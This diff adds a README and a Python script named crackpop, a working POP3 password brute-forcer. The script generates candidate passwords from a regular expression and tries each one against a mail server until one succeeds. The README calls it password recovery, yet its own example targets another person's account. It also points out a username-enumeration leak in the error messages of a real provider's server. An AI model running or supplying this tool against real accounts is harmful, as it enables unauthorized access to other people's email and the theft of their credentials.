--- /dev/null
+If you forgot the password of your pop3 account but you remember the rule or
+the pattern you used to create it, crackpop can help you to recover the
+password.
+
+Just build up a regular expression that you think matches the password and
+crackpop will try to generate all the strings matchable by the regular
+expression and try to access your pop3 account with them.
+
+As an example let's try to hack Randall Munroe's account:
+
+ $ ./crackpop.py \
+ --host popmail.xkcd.example.net \
+ --user randall \
+ --pattern "[Cc]orrect [Hh]orse [Bb]attery [Ss]taple"
+
+
+DEPENDENCIES
+
+crackpop uses the 'exrex' python module, in case it is not packaged for your
+system you can get it with 'pip'; example for Debian based systems:
+
+ $ sudo aptitude install python-pip
+ $ sudo pip install exrex
+
+
+NOTE
+
+The program always prints out the error status on failed authentication
+attempts in order to let the user know what is going on.
+
+This is because some POP3 servers may be more creative than others, and
+sometimes it is possible to differentiate between authentication events only
+by looking at the error message.
+
+For instance popmail.libero.it is quite weird, this is what happens:
+
+ - When the username is wrong the server replies with and expected:
+
+ -ERR [AUTH] invalid user or password
+
+ - When the username is right but the password is wrong the server replies
+ with an information-leaking:
+
+ -ERR ERROR 119 invalid user or password err 30
+
+ - When the password is right the server replies with:
+
+ -ERR [AUTH] POP3 access not allowed
+
+ because it does not allow POP3 operations from users on networks different
+ from its own (but it still allows _connections_ from other networks tho).
+
+Yes, with pomail.libero.it it is possible to differentiate the "invalid user"
+case from the "invalid password" one.
+
+Have fun!
--- /dev/null
+#!/usr/bin/env python
+#
+# crackpop - a pattern-generated-dictionary pop3 password cracker
+#
+# Copyright (C) 2013 Antonio Ospite <ospite@studenti.unina.it>
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+import argparse
+import exrex
+import poplib
+
+__description = "crackpop is a pattern-generated-dictionary pop3 password cracker"
+__version = "0.1"
+__author_info = "Antonio Ospite"
+
+
+def generate_passwords(password_pattern, dry_run=False):
+ passwords = list(exrex.generate(password_pattern))
+
+ if dry_run:
+ print "Generated %d passwords." % len(passwords)
+ for p in passwords:
+ print p
+ return []
+
+ return passwords
+
+
+def crackpop(host, port, user, passwords):
+ print "Testing %d passwords." % len(passwords)
+ for p in passwords:
+ # TODO maybe the same connection can be reused for more than one try,
+ # but some logic needs to be added to detect the maximum allowed
+ # authentication attempts or a disconnection from the server.
+ pop3 = poplib.POP3(host, port)
+ try:
+ pop3.user(user)
+ pop3.pass_(p)
+ except Exception, e:
+ print e.message, "(password: %s)" % p
+ del pop3
+ continue
+ else:
+ print "Found! (password: %s)" % p
+ break
+
+
+def option_parser():
+ usage = "usage: %(prog)s [options]"
+
+ parser = argparse.ArgumentParser(
+ usage=usage,
+ description=__description,
+ epilog=__author_info,
+ version='%(prog)s ' + __version)
+
+ parser.add_argument(
+ '-H', '--host', metavar="<host>",
+ dest='host', required=True,
+ help='the host where the pop3 server is')
+
+ parser.add_argument(
+ '-P', '--port', metavar="<port>",
+ dest='port', default=110,
+ help='the port the pop3 server is listening on')
+
+ parser.add_argument(
+ '-u', '--user', metavar="<user>",
+ dest='user', required=True,
+ help='username of the pop3 account')
+
+ parser.add_argument(
+ '-p', '--pattern', metavar="<password_pattern>",
+ dest='password_pattern', required=True,
+ help='the regular expression describing the pattern of the password')
+
+ parser.add_argument(
+ '-d', '--dry-run',
+ dest='dry_run', action='store_const', const=True,
+ help='only print out the passwords, do not connect to the pop3 server')
+
+ return parser
+
+
+if __name__ == "__main__":
+ parser = option_parser()
+ args = parser.parse_args()
+
+ passwords = generate_passwords(args.password_pattern, args.dry_run)
+ crackpop(args.host, args.port, args.user, passwords)